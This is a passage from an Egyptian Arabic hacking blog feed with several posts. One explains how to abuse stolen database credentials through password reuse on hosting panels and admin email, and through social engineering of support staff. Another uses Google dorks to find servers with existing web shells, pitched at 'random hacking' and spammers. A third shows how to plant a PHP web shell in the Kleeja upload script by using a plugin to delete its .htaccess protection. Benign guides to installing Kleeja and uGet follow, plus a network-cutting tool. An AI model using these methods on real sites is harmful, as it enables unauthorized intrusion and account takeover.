واستخرجنا بيانات قاعدة البيانات .. ايه الطرق اللي تفيدني بيها البيانات او اقدر استغلها ازاي ؟</b><br /> <b><span style="color: red;">-</span> هنبص علي DB_Host, Host Name اذا كان الاتصال مش علي localhost يبقي ممكن نتصل بقاعدة البيانات من علي بعد</b><br /> <b><span style="color: red;">- </span>نجرب كلمة المرور علي لوحة تحكم السكربت .. كل سكربت له لوحة تحكم وكل واحد فيهم ليه مسار مختلف</b><br /> <b><span style="color: red;">-</span> نجرب كلمة المرور علي لوحة تحكم الموقع/السيرفر .. اذا كانت cPanel, DirectAdmin, Plesk</b><br /> <b><span style="color: red;">-</span> نجرب كلمة المرور علي الايميل الخاص بمديري الموقع</b><br /> <b><span style="color: red;">- </span>نجرب كلمة المرور علي جميع عضويات الادارة في الموقع/المنتدي</b><br /> <b><span style="color: red;">- </span>استخدام الهندسة الاجتماعية مع الدعم الفني في استرجاع كلمة مرور لوحة تحكم الموقع والدليل ان معاك بيانات قاعدة البيانات</b><br /> <b>وفي طرق كتيرة اوي .. فكر بنفسك !!</b><br /> <b>طيب جميل نيجي بقي للشرح التوضيحي للطريقة دي يا جماعة</b><br /> <b>نشوف الفيديو علي اليوتيوب علي الرابط التالي</b><br /> <div class="separator" style="clear: both; text-align: center;"> <iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/nyyofQriBhI/0.jpg" src="https://www.youtube.com/embed/nyyofQriBhI?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div> <br /> <b>اي استفسار احنا في الخدمة&nbsp;</b><br /> <b>موفقين ~</b><br /> <b><span style="color: red; font-size: large;">الصياد /.</span></b></div> </div> 1شرح الحصول علي شل او الوصول للسيرفر بدون استهداف السيرفرات او استغلال الثغراتhttps://web0sec.blogspot.com/2017/11/how-to-get-shell-or-access-on-servers-without-exploits.htmlserversservers-hacknoreply@blogger.com (ElSyad)Wed, 29 Nov 2017 13:47:00 -0800tag:blogger.com,1999:blog-8590898748877079327.post-960551772564295784<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcskKJLXizwZW1wc25aIx1mYlL5qqChyujhgW5IxuO6Pb0GlLxAd857dzqO9UcNzUS_jz5zxOUvluyZZmW3BCkUMYzOfFGfT3eEEW7xpHV_gTdSfisBJcc-LKaFSijR1KAk4e2e1d_6Aq9/s1600/get_shell.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><b><img alt="شرح,explain,الحصول,get,علي,on,شل,shell,او,or,الوصول,access,للسيرفر,server,بدون,without,استهداف,target,السيرفر,server,او,or,استغلال,exploiting,الثغرات,exploit" border="0" data-original-height="720" data-original-width="1280" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcskKJLXizwZW1wc25aIx1mYlL5qqChyujhgW5IxuO6Pb0GlLxAd857dzqO9UcNzUS_jz5zxOUvluyZZmW3BCkUMYzOfFGfT3eEEW7xpHV_gTdSfisBJcc-LKaFSijR1KAk4e2e1d_6Aq9/s320/get_shell.png" title="شرح explain الحصول get علي on شل shell او or الوصول access للسيرفر server بدون without استهداف target السيرفر server او or استغلال exploiting الثغرات exploit" width="320" /></b></a></div> <b><br /></b></div> <div style="text-align: right;"> <b>السلام عليكم</b><br /> <b>ازاي الحال؟</b><br /> <b>النهاردة هنشرح طريقة ازاي نحصل علي شل بدون استهداف السيرفر او استغلال ثغرة موجودة علي السيرفر</b><br /> <b>الطريقة دي مفيدة لمحبي الاختراق العشوائي او السبامرز :)</b><br /> <b>في درس النهاردة احنا هنشوف طريقة ازاي نوصل لسيرفر بدون فحص برامجه او سكربتاته والحصول علي اكسس علي السيرفر</b><br /> <b>الطريقة دي بتنفع كتير يا رجالة زي ما قولنا فوق</b><br /> <b>نيجي لي شرح بعض الاساسيات</b><br /> <b><br /></b> <b><span style="color: red;">ثغرة "exploit" ؟</span></b><br /> <b>هي جزء من البرمجيات, قطعة من البيانات او سلسلة من الاوامر التي تاخذ ميزة/افادة من خطأ برمجي او اصابة برمجية تتسبب في إحداث اداء غير متوقع او غير مرغوب به للبرمجيات او حتي للهاردوير</b><br /> <b>مثل تحقيق السيطرة علي جهاز الكمبيوتر , السماح بتصعيد الصلاحيات, او حتي هجمات حرمان الخدمة</b><br /> <b>هي ايضا عبارة عن خطأ برمجي في تطبيقات الويب عند كتابة المبرمج للسكربت وهنا قد تحدث ثغرات كثيرة ولها انواع ولها وظائف معينة لكل ثغرة سنقوم بشرحها بإذن الله</b><br /> <b><br /></b> <b><span style="color: red;">ويب شل "web shell" ؟</span></b><br /> <b>هو برنامج خبيث يتم استخدامه من المهاجم (الهاكر) بقصد الحصول علي اتصال مستمر علي تطبيق ويب مخترق, الويب شل نفسه لا يمكنه الهجوم او استغلال ثغرة من علي بعد لذلك فهو الخطوه الثانية دائما للهاكر</b><br /> <b>الوظائف الشائعة للويب شل هي تنفيذ اوامر , سرد قواعد البيانات, تنفيذ اكواد لـ اللغة المبرمج بها الويب شل, ادارة الملفات والمجلدات وله استخدامات اخري كثيرة</b><br /> <b>في اغلب الحالات يكون الويب شل مبرمج بلغة php لانها اللغة الاكثر استخداما في تطبيقات الويب ولكن يمكن برمجته ايضا بلغات اخري مثل python او perl وغيرهم</b><br /> <b><br /></b> <b><span style="color: red;">ويب سيرفر "web server" ؟</span></b><br /> <b>هو نظام حاسوب يعالج الطلبات من خلال http البروتوكول الاساسي لتوزيع المعلومات علي شبكة الانترنت, الوظيفة الاساسية للويب سيرفر هي تخزين, معالجة, وتوصيل صفحات الويب الي العملاء</b><br /> <b>هو خادم, جهاز كمبيوتر بيتم تثبيت عليه نظام تشغيل لينكس او ويندوز بيكون متصل بالانترنت بشكل مستمر, امكانيات الهاردوير عالية جدا ومخصصة للعمل كـ سيرفر</b><br /> <b><br /></b> <b><span style="color: red;">جوجل دورك "Google Dorking" ؟</span></b><br /> <b>له اسم ايضا وهو "Google Hacking" , هي تقنية اختراق الحواسيب التى تستخدم محرك البحث جوجل وتطبيقات جوجل الاخرى للعثور على فجوات الحماية فى الكود المصدرى التى تستخدمه مواقع الويب</b><br /> <b>توضيح بسيط لجوجل دورك , هو مفتاح بحث نقوم بادخاله فى محرك البحث جوجل للعثور على نصوص معينة او العثور على اصدارات محددة مصابة من تطبيقات الويب</b><br /> <b><span style="color: red;"><br /></span></b> <b><span style="color: red;">سكربت "script" ؟</span></b><br /> <b>في لغات البرمجة, السكربت هو برنامج او سلسلة تعليمات مُفسرة او يتم حملها من برنامج اخر بدلا من معالج الحاسوب كـ برنامج مترجم</b><br /> <b>بعض اللغات صممت خصيصا كلغات برمجة script language والاكثر انتشارا مثل perl, javascript, php, python وغيرهم</b><br /> <b>وهناك انواع من لغات البرمجة مثلا لغات php, perl, python هي لغات يتم معالجتها من خلال الويب سيرفر للعمل علي مواقع الويب وهي ما تسمي بلغات من جانب السيرفر server side language</b><br /> <b>ولغات مثل javascript يتم معالجتها من خلال متصفح الويب وهي ما تسمي بـلغات من جانب العميل client side language</b><br /> <b><br /></b> <b>نيجي لشرحنا بقي تاني يا رجالة .. الفكرة اننا هنستخدم دوركات جوجل Google Dorking في الحصول علي شيلات او حتي السيرفر</b><br /> <b><span style="color: red;">زي ما هنشوف في الفيديو التالي يا رجالة</span></b><br /> <div class="separator" style="clear: both; text-align: center;"> <iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/MsPHobAoSD0/0.jpg" src="https://www.youtube.com/embed/MsPHobAoSD0?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div> <br /> <br /> <b>اي استفسار احنا موجودين ان شاء الله</b><br /> <b>موفقين ~</b><br /> <b>الصياد /.</b></div> </div> 0شرح رفع شل علي سكربت مركز التحميل كليجا عن طريق الاضافاتhttps://web0sec.blogspot.com/2017/11/how-to-upload-php-web-shell-to-kleeja-script-via-plugins.htmlwebappwebapp-hacknoreply@blogger.com (ElSyad)Sat, 25 Nov 2017 04:08:00 -0800tag:blogger.com,1999:blog-8590898748877079327.post-1314087868599618153<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWF5QuIWblHd0pLnOsH7BbL2AsM_09ALyVgAoEncIFpeKjmHu9OOakycUvAO9qTDgOEhjb7sdNBuMXQ0hLwYz3CdYwAD-TOPZC78UKJUIc3PBxLAcNHlTb2uadiw9TEJ14-qWI4koruUlh/s1600/7cdac5533d9dcad912b5c534ba8d0acc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explain,رفع,upload,شل,shell,علي,on,سكربت,script,كليجا,kleeja,عن,طريق,via,الاضافات,plugins,الملحقات,extensions" border="0" data-original-height="400" data-original-width="680" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWF5QuIWblHd0pLnOsH7BbL2AsM_09ALyVgAoEncIFpeKjmHu9OOakycUvAO9qTDgOEhjb7sdNBuMXQ0hLwYz3CdYwAD-TOPZC78UKJUIc3PBxLAcNHlTb2uadiw9TEJ14-qWI4koruUlh/s320/7cdac5533d9dcad912b5c534ba8d0acc.jpg" title="شرح explain رفع upload شل shell علي on سكربت script كليجا kleeja عن طريق via الاضافات plugins الملحقات extensions" width="320" /></a></div> <br /></div> <div style="text-align: right;"> <b>السلام عليكم</b></div> <div style="text-align: right;"> <b>ازاي الحال؟</b></div> <div style="text-align: right;"> <b>في ناس سألتني عن ازاي نرفع شل داخل سكربت كليجا المعروف لرفع الملفات</b></div> <div style="text-align: right;"> <b>النهاردة ان شاء الله هنعرف ازاي نرفع شل من لوحة تحكم سكربت كليجا عن طريق الاضافات</b></div> <div style="text-align: right;"> <b>في طرق تانية كتيرة وبأفكار مختلفة هشرحها برضو للناس علي المدونة ان شاء الله</b></div> <div style="text-align: right;"> <b>اول حاجة نيجي لتوضيح بعض الاساسيات</b></div> <div style="text-align: right;"> <b><br /></b></div> <div style="text-align: right;"> <b><span style="color: red;">ويب شل "web shell" ؟</span></b></div> <div style="text-align: right;"> <b>هو برنامج خبيث يتم استخدامه من المهاجم (<span style="color: red;">الهاكر</span>) بقصد الحصول علي اتصال مستمر علي تطبيق ويب مخترق, الويب شل نفسه لا يمكنه الهجوم او استغلال ثغرة من علي بعد لذلك فهو الخطوه الثانية دائما للهاكر</b></div> <div style="text-align: right;"> <b>الوظائف الشائعة للويب شل هي تنفيذ اوامر , سرد قواعد البيانات, تنفيذ اكواد لـ اللغة المبرمج بها الويب شل, ادارة الملفات والمجلدات وله استخدامات اخري كثيرة</b></div> <div style="text-align: right;"> <b>في اغلب الحالات يكون الويب شل مبرمج بلغة <span style="color: red;">php </span>لانها اللغة الاكثر استخداما في تطبيقات الويب ولكن يمكن برمجته ايضا بلغات اخري مثل <span style="color: red;">python </span>او <span style="color: red;">perl </span>وغيرهم</b></div> <div style="text-align: right;"> <b><br /></b></div> <div style="text-align: right;"> <b><span style="color: red;">ويب سيرفر "web server" ؟</span></b></div> <div style="text-align: right;"> <b>هو نظام حاسوب يعالج الطلبات من خلال <span style="color: red;">http </span>البروتوكول الاساسي لتوزيع المعلومات علي شبكة الانترنت, الوظيفة الاساسية للويب سيرفر هي تخزين, معالجة, وتوصيل صفحات الويب الي العملاء</b></div> <div style="text-align: right;"> <b>هو خادم, جهاز كمبيوتر بيتم تثبيت عليه نظام تشغيل لينكس او ويندوز بيكون متصل بالانترنت بشكل مستمر, امكانيات الهاردوير عالية جدا ومخصصة للعمل كـ سيرفر</b></div> <div style="text-align: right;"> <b><br /></b></div> <div style="text-align: right;"> <b><span style="color: red;">سكربت "script" ؟</span></b></div> <div style="text-align: right;"> <b>في لغات البرمجة, السكربت هو برنامج او سلسلة تعليمات مُفسرة او يتم حملها من برنامج اخر بدلا من معالج الحاسوب كـ برنامج مترجم</b></div> <div style="text-align: right;"> <b>بعض اللغات صممت خصيصا كلغات برمجة <span style="color: red;">script language</span> والاكثر انتشارا مثل <span style="color: red;">perl</span>, <span style="color: red;">javascript</span>, <span style="color: red;">php</span>, <span style="color: red;">python </span>وغيرهم</b></div> <div style="text-align: right;"> <b>وهناك انواع من لغات البرمجة مثلا لغات <span style="color: red;">php</span>, <span style="color: red;">perl</span>, <span style="color: red;">python </span>هي لغات يتم معالجتها من خلال الويب سيرفر للعمل علي مواقع الويب وهي ما تسمي بلغات من جانب السيرفر <span style="color: red;">server side language</span></b></div> <div style="text-align: right;"> <b>ولغات مثل <span style="color: red;">javascript </span>يتم معالجتها من خلال متصفح الويب وهي ما تسمي بـلغات من جانب العميل <span style="color: red;">client side language</span></b></div> <div style="text-align: right;"> <b><span style="color: red;"><br /></span></b></div> <div style="text-align: right;"> <b><span style="color: red;">هاتكس "htaccess" ؟</span></b></div> <div style="text-align: right;"> <b>هو ملف التكوين للويب سيرفر التي تعمل علي الاباتشي ويب سيرفر, عندما يُوضع هذا الملف في المسار الصحيح لتشغيل الاباتشي ويب سيرفر عليه</b></div> <div style="text-align: right;"> <b>يمكن استخدام هذه الملفات في حجات كتيرة او كـ بديل للاباتشي ويب سيرفر في تفعيل/تعطيل الوظائف الاضافية او المميزات التي يعرضها الاباتشي ويب سيرفر</b></div> <div style="text-align: right;"> <b>هذه التسهيلات تشمل وظائف التوجيه الاساسية, علي سبيل المثال في حالة حدوث خطأ ان ملف غير موجود, او لوظائف متقدمة مثل حماية كلمة السر للمحتوي او منع الآخرين من سرقة صورك والتي تسمي بـ (<span style="color: red;">image hotlink protection</span>)</b></div> <div style="text-align: right;"> <b><br /></b></div> <div style="text-align: right;"> <b><span style="color: red;">كليجا "Kleeja"؟</span></b></div> <div style="text-align: right;"> <b>هو نظام إدارة محتوي <span style="color: red;">CMS</span>, سكربت مركز تحميل محترف متعدد اللغات وله مميزات كثيرة جدا مثل انه سهل الاستخدام ومتعدد المظاهر والاضافات والحماية ومميزات اخري كثيرة, في الاغلب استخدامه كـ مركز تحميل/رفع ملفات</b></div> <div style="text-align: right;"> <b><br /></b></div> <div style="text-align: right;"> <b>دلوقتي نرجع لشرحنا يا رجالة بعد ما عرفنا الاساسيات اللي لازم نبقي عارفنها</b></div> <div style="text-align: right;"> <b>بعد ما حملت السكربت عندي علي السيرفر المحلي وفحصت ملفاته ومجلداته وحاولت اشوف طرق ازاي نرفع شل من لوحة التحكم</b></div> <div style="text-align: right;"> <b>لقيت ان الملفات بتترفع في مجلد <span style="color: red;">uploads </span>اللي ضمن مجلدات السكربت</b></div> <div style="text-align: right;"> <b>لقيت فيه كمان ملف <span style="color: red;">htaccess </span>وده محتواه</b><br /> <b><br /></b></div> <div style="text-align: right;"> <blockquote class="tr_bq"> <b># Htaccess for Protection</b><b># Kleeja 2007 - 2010</b><b># $Id: .htaccess 1557 2010-08-08 10:09:50Z saanina $</b><b><br /></b><b>&lt;Files ~ "^.*\.(php|php*|cgi|pl|phtml|shtml|sql|asp|aspx)"&gt;</b><b>&nbsp; &nbsp; Order allow,deny</b><b>&nbsp; &nbsp; Deny from all</b><b>&lt;/Files&gt;</b><b><br /></b><b>#Disable PHP engine in this folder</b><b>&lt;IfModule mod_php4.c&gt;</b><b>php_flag engine off</b><b>&lt;/IfModule&gt;</b><b><br /></b><b>#Disable PHP engine in this folder</b><b>&lt;IfModule mod_php5.c&gt;</b><b>php_flag engine off</b><b>&lt;/IfModule&gt;</b><b><br /></b><b>#Don't handle those types in this folder</b><b>RemoveType .php .php* .phtml .pl .cgi .asp .aspx .sql</b><b><br /></b><b>#404 error should show something usefull</b><b>#todo/ images-&gt;image info, another show our info page</b><b>ErrorDocument 404 ../images/not_exists.jpg</b><b><br /></b></blockquote> </div> <div style="text-align: right;"> <b>من الاخر اي ملف تنفيذي مش هيشتغل مهما حاولت .. يعني تقريباً مانع كل الملفات التنفيذية كلها ههه :)</b></div> <div style="text-align: right;"> <b>احنا قولنا اننا هنبتدي بطريقة سهلة وبتتخطي المشاكل دي كلها بكل بساطة</b></div> <div style="text-align: right;"> <b>كل اللي علينا اننا هنجيب اي <span style="color: red;">plugin </span>وندمج فيها كود <span style="color: red;">php </span>يخلينا نرفع ملف <span style="color: red;">php web shell</span> بتاعنا وبدون اي مشاكل</b></div> <div style="text-align: right;"> <b>طيب الفكرة يا جماعة ببساطة اننا عشان ننفذها لازم ملف <span style="color: red;">htaccess </span>ده ميكونش موجود صح كده ؟</b></div> <div style="text-align: right;"> <b>بالتالي اللي هنعمله اننا هندمج الدالة دي مثلا</b></div> <div style="text-align: right;"> <blockquote class="tr_bq"> <b>unlink("file_name");</b></blockquote> </div> <div style="text-align: right;"> <b>الدالة دي في لغة <span style="color: red;">php </span>وظيفتها هي حذف اي ملف يتم تحديده من خلالها</b></div> <div style="text-align: right;"> <b>يعني الفكرة اننا هنمسح ملف <span style="color: red;">htaccess </span>وبعدها هندمج في <span style="color: red;">plugin </span>تانية كود<span style="color: red;"> file uploader</span> عشان نرفع من خلاله <span style="color: red;">php web shell</span> بتاعنا بكل سهولة</b></div> <div style="text-align: right;"> <b>دي فكرة من الافكار يا جماعة ولسه في افكار تانية اكتر واسهل حتي من اننا ندمج في <span style="color: red;">plugins</span></b></div> <div style="text-align: right;"> <b>بس فكر فيها انت وحاول توصلها :)</b></div> <div style="text-align: right;"> <b>طيب نيجي للشرح التطبيقي علي اليوتيوب</b></div> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/byGqJsnxjr4/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/byGqJsnxjr4?feature=player_embedded" width="320"></iframe></div> <b><br />لتحميل الاضافات علي الرابط التالي</b><br /> <b><a href="https://up.top4top.net/downloadf-6987t0kv1-rar.html" rel="nofollow" target="_blank">https://up.top4top.net/downloadf-6987t0kv1-rar.html</a></b><br /> <b>اي استفسار او مشكلة بخصوص الشرح احنا موجودين</b></div> <div style="text-align: right;"> <b>موفقين ~</b></div> <div style="text-align: right;"> <b><span style="color: red; font-size: large;">الصياد /.</span></b></div> </div> 0شرح تثبيت سكربت كليجا لرفع الملفات علي السيرفر المحليhttps://web0sec.blogspot.com/2017/11/how-to-install-kleeja-script-on-localhost-and-run-it.htmlarticlesnoreply@blogger.com (ElSyad)Tue, 21 Nov 2017 12:33:00 -0800tag:blogger.com,1999:blog-8590898748877079327.post-348993091281791395<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKMzJrgkCD6A4yKH4qgSaNTdssuwS9p50Df7Mr3fxbafJJBgLUEGU0BqV6AiumlonEvWKagFN3r4YRxO_cFSAy1v5AgKtVSGF-nTAAmfZJR3F5dtf5A19z7nafT3g_p0I6er2UsbgR4cnk/s1600/Kleeja.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><b><img alt="شرح,explain,تثبيت,install,سكربت,script,كليجا,kleeja,رفع,upload,ملفات,files,علي,on,السيرفر,server,المحلي,localhost" border="0" data-original-height="250" data-original-width="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKMzJrgkCD6A4yKH4qgSaNTdssuwS9p50Df7Mr3fxbafJJBgLUEGU0BqV6AiumlonEvWKagFN3r4YRxO_cFSAy1v5AgKtVSGF-nTAAmfZJR3F5dtf5A19z7nafT3g_p0I6er2UsbgR4cnk/s1600/Kleeja.jpg" title="شرح explain تثبيت install سكربت script كليجا kleeja رفع upload ملفات files علي on السيرفر server المحلي localhost" /></b></a></div> <b><br /></b></div> <div style="text-align: right;"> <b>السلام عليكم</b><br /> <b>ازاي الحال؟</b><br /> <b>النهاردة هنشوف مع بعض ازاي نثبت سكربت كليجا المشهور لرفع الملفات علي الموقع</b><br /> <b>السكربت ده هو من الاكثر استخداماً عند العرب في رفع الملفات ويعمل كمركز رفع للملفات بجميع انواعها</b><br /> <b>السكربت مجاني ومبني علي لغة <span style="color: red;">PHP,MySQL</span> ومفتوح المصدر ويمكنك مشاركته مع اي شخص اخر</b><br /> <b><span style="color: red;">الموقع الرسمي للسكربت علي الرابط التالي</span></b><br /> <b><a href="https://www.kleeja.com/" rel="nofollow" target="_blank">https://www.kleeja.com/</a></b><br /> <b><br /></b> <b>بعد تحميل السكربت هنشوف مع بعض ازاي نثبته علي السيرفر المحلي او علي الموقع بتاعنا</b><br /> <b><span style="color: red;">الشرح فيديو علي الرابط التالي</span></b><br /> <div class="separator" style="clear: both; text-align: center;"> <b><iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/b9MnXPMmGNg/0.jpg" src="https://www.youtube.com/embed/b9MnXPMmGNg?feature=player_embedded" frameborder="0" allowfullscreen></iframe></b></div> <b>اي استفسار احنا جاهزين</b><br /> <b>موفقين !!</b><br /> <b><span style="color: red; font-size: large;">الصياد /.</span></b></div> </div> 0تثبيت برنامج تحميل وتنزيل الملفات السريع uGet علي انظمة لينكسhttps://web0sec.blogspot.com/2017/11/install-uget-to-download-files-in-linux.htmlarticlessystemsnoreply@blogger.com (ElSyad)Sun, 19 Nov 2017 04:27:00 -0800tag:blogger.com,1999:blog-8590898748877079327.post-2380930583967331023<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="http://ugetdm.com/images/screens/showcase/linux-mint-1.10.4-screen.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="تثبيت,install,برنامج,program,تحميل,upload,تنزيل,download,الملفات,files,السريع,quickly,يوجت,uget,علي,on,انظمة,system,لينكس,linux" border="0" src="http://ugetdm.com/images/screens/showcase/linux-mint-1.10.4-screen.gif" data-original-height="300" data-original-width="480" height="200" title="تثبيت install برنامج program تحميل upload تنزيل download الملفات files السريع quickly يوجت uget علي on انظمة system لينكس linux" width="320" /></a></div> <br /> <b>السلام عليكم</b></div> <div style="text-align: right;"> <b>ازاي الحال ؟</b><br /> <b>النهاردة هنتكلم عن برنامج <span style="color: red;">uGet </span>لتحميل/لتنزيل الملفات وايه هي مميزاته وازاي نثبته</b><br /> <b>البرنامج ده من أفضل البدائل برنامج <span style="color: red;">Internet Download Manager</span> المعروف</b><br /> <b>البرنامج بواجهة رسومية جميلة جدا ومخصصة بشكل جميل</b><br /> <b>برنامج <span style="color: red;">uGet </span>هو تطبيق لتحميل/لتنزيل الملفات مفتوح المصدر ومجاني ومتعدد المنصات</b><br /> <b>فنقدر نثبت البرنامج علي أنظمة <span style="color: red;">Linux </span>وأنظمة <span style="color: red;">BSD </span>وأنظمة <span style="color: red;">MAC OSX</span> وأنظمة <span style="color: red;">Windows </span>وحتي <span style="color: red;">Android</span></b><br /> <b>بعد <span style="color: red;">مميزات البرنامج</span> الجميل ده</b><br /> <b><br /></b> <b>- قائمة بالتحميلات مرتبة بشكل جميل</b><br /> <b>- توقف واستعادة التحميلات في اي وقت</b><br /> <b>- مراقبة الحافظة لتنزيل الملفات</b><br /> <b>- متعدد الاتصال لتنزيل الملفات بشكل اسرع</b><br /> <b>- متعدد المرايا لتنزيل الملفات بشكل اسرع</b><br /> <b>- تحميل مجموعة من الملفات في وقت واحد</b><br /> <b>- تحديد السرعة لكل ملف يتم تحميله</b><br /> <b>- يدعم 29 لغة منها اللغة العربية</b><br /> <b>وغيرها من المميزات الكثيرة في هذا البرنامج الرائع</b><br /> <b>هنشرح دلوقتي ازاي نثبت البرنامج ده علي اكثر من توزيعة لآنظمة <span style="color: red;">Linux</span></b><br /> <b>نبتدي علي بركة الله</b><br /> <b><br /></b> <br /> <h4 style="text-align: right;"> <b><span style="color: red;">الشرح ده للتوزيعات المبنية علي Ubuntu</span></b></h4> <b>نقوم بكتابة هذا الامر وتنفيذه في <span style="color: red;">Terminal</span></b><br /> <b><span style="color: red;">sudo add-apt-repository ppa:plushuang-tw/uget-stable</span></b><br /> <b>الامر ده عشان نضيف المستودع الخاص بالبرنامج للمستودعات الخاصة بنا</b><br /> <b><span style="color: red;">sudo apt-get update</span></b><br /> <b>الامر ده عشان نعمل تحديث للمستودعات</b><br /> <b><span style="color: red;">sudo apt-get install uget</span></b><br /> <b>الامر ده عشان يثبت البرنامج</b><br /> <b><span style="color: red;">sudo apt-get aria2</span></b><br /> <b>الامر ده عشان يثبت اضافة <span style="color: red;">aria2 </span>لتسريع البرنامج وتوافقه</b><br /> <b><br /></b> <br /> <h4 style="text-align: right;"> <b><span style="color: red;">الشرح ده للتوزيعات المبنية علي Fedora</span></b></h4> <b>فقط نقوم بكتابة الامرين دول</b><br /> <b><span style="color: red;">sudo dnf install uget</span></b><br /> <b>والامر التالي</b><br /> <b><span style="color: red;">sudo dnf install aria2</span></b><br /> <b><br /></b> <br /> <h4 style="text-align: right;"> <b><span style="color: red;">الشرح ده للتوزيعات المبنية علي Arch</span></b></h4> <b><span style="color: red;">sudo pacman -S uget</span></b><br /> <b>والامر التالي</b><br /> <b><span style="color: red;">sudo pacman -S aria2</span></b><br /> <b><br /></b> <b>دلوقتي نروح ونفعل اضافة <span style="color: red;">aria2 </span>لتحسين عمل برنامج <span style="color: red;">uGet </span>علي نظامك</b><br /> <b>من الاعدادات <span style="color: red;">Settings </span>نخليها زي ما في الصورة دي</b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://i.imgur.com/eLEIvfj.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="تثبيت,install,برنامج,program,تحميل,upload,تنزيل,download,الملفات,files,السريع,quickly,يوجت,uget,علي,on,انظمة,system,لينكس,linux" border="0" data-original-height="475" data-original-width="594" height="255" src="https://i.imgur.com/eLEIvfj.png" title="تثبيت install برنامج program تحميل upload تنزيل download الملفات files السريع quickly يوجت uget علي on انظمة system لينكس linux" width="320" /></a></div> <br /> <b>اي استفسار احنا موجودين ان شاء الله</b><br /> <b>موفقين ~</b><br /> <b><span style="color: red; font-size: large;">الصياد /.</span></b></div> </div> 1تثبيت اداة التحكم بالانترنت TuxCut علي أنظمة لينكس البديل لـ NetCut وايضاً SelfishNethttps://web0sec.blogspot.com/2017/11/install-tuxcut-utility-to-control-internet-speed-in-linux-systems-alternative-to-netcut-and-selfishnet-too.htmlnetworksnetworks-secnoreply@blogger.com (ElSyad)Sat, 18 Nov 2017 06:55:00 -0800tag:blogger.com,1999:blog-8590898748877079327.post-1017219819725690899<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtxUX4VcrosgToHcos1D199ONS5uhPg029k7YojdtnQouto9MA88V33Zjk6SSCXou4-D2Pe8Lb5TK43QJhZ_WzlHoNeTTxfQWVv5vnIWbyRcZK6WeGYoZySmWGdGnfcNi96ulxkNo0ZLB6/s1600/tuxcut.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="تثبيت,install,اداة,utility,التحكم,control,بالانترنت,internet,تكس,كت,tux,cut,علي,on,انظمة,system,لينكس,linux,البديل,alternative,ل,to,نت,كات,net,cut,وايضا,also,سيلفش,نت,selfish,net" border="0" data-original-height="400" data-original-width="750" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtxUX4VcrosgToHcos1D199ONS5uhPg029k7YojdtnQouto9MA88V33Zjk6SSCXou4-D2Pe8Lb5TK43QJhZ_WzlHoNeTTxfQWVv5vnIWbyRcZK6WeGYoZySmWGdGnfcNi96ulxkNo0ZLB6/s320/tuxcut.png" title="تثبيت install اداة utility التحكم control بالانترنت internet تكس كت tux cut علي on انظمة system لينكس linux البديل alternative ل to نت كات net cut وايضا also سيلفش نت selfish net" width="320" /></a></div> </div> <div style="text-align: right;"> <b>السلام عليكم</b></div> <div style="text-align: right;"> <b>ازاي الحال ؟</b><br /> <b>النهاردة هنتكلم عن اداة للتحكم في إتصال الانترنت لجميع المستخدمين علي الشبكة</b><br /> <b>الاداة هي المعروفة بـ اسم</b><br /> <b><span style="color: red;">Tuxcut</span></b><br /> <b>وظيفة الاداة هي حماية انظمة <span style="color: red;">Linux </span>والتصدي ضد هجمات <span style="color: red;">ARP Spoof</span></b><br /> <b>الاداة ليها مميزات تانية برضو تقدر تشتغل بيها</b><br /> <b><br /></b> <b>- إخفاء <span style="color: red;">IP/MAC</span> الخاص بنظامك عن ادوات ماسح <span style="color: red;">ARP</span></b><br /> <b>- <span style="color: red;">سرد </span>كل الاجهزة المتصلة بالشبكة</b><br /> <b>- <span style="color: red;">قطع </span>الاتصال بين اي جهاز وبين الراوتر</b><br /> <b>- <span style="color: red;">التحكم </span>وتحديد سرعة التنزيل او الرفع وده من خلال استخدام سكربت <span style="color: red;">WonderSharper</span></b><br /> <b><br /></b> <b>الاداة دي هي البديل لـ <span style="color: red;">Netcut</span>, <span style="color: red;">SelfishNet </span>الي شغالة علي انظمة <span style="color: red;">Windows</span></b><br /> <b>دلوقتي نيجي لطريقة تنزيل الاداة وتثبيتها علي انظمة <span style="color: red;">Linux</span></b><br /> <b>رابط الاداة التي بالشرح وهي النسخة القديمة</b><br /> <a href="https://sourceforge.net/projects/helal/files/repository/pool/main/t/tuxcut/tuxcut_5.0_all.deb/download" rel="nofollow" target="_blank">https://sourceforge.net/projects/helal/files/repository/pool/main/t/tuxcut/tuxcut_5.0_all.deb/download</a><br /> <b><br /></b> <b>اما الرابط الجديد للنسخة الاخيرة للاداة علي الرابط التالي</b><br /> 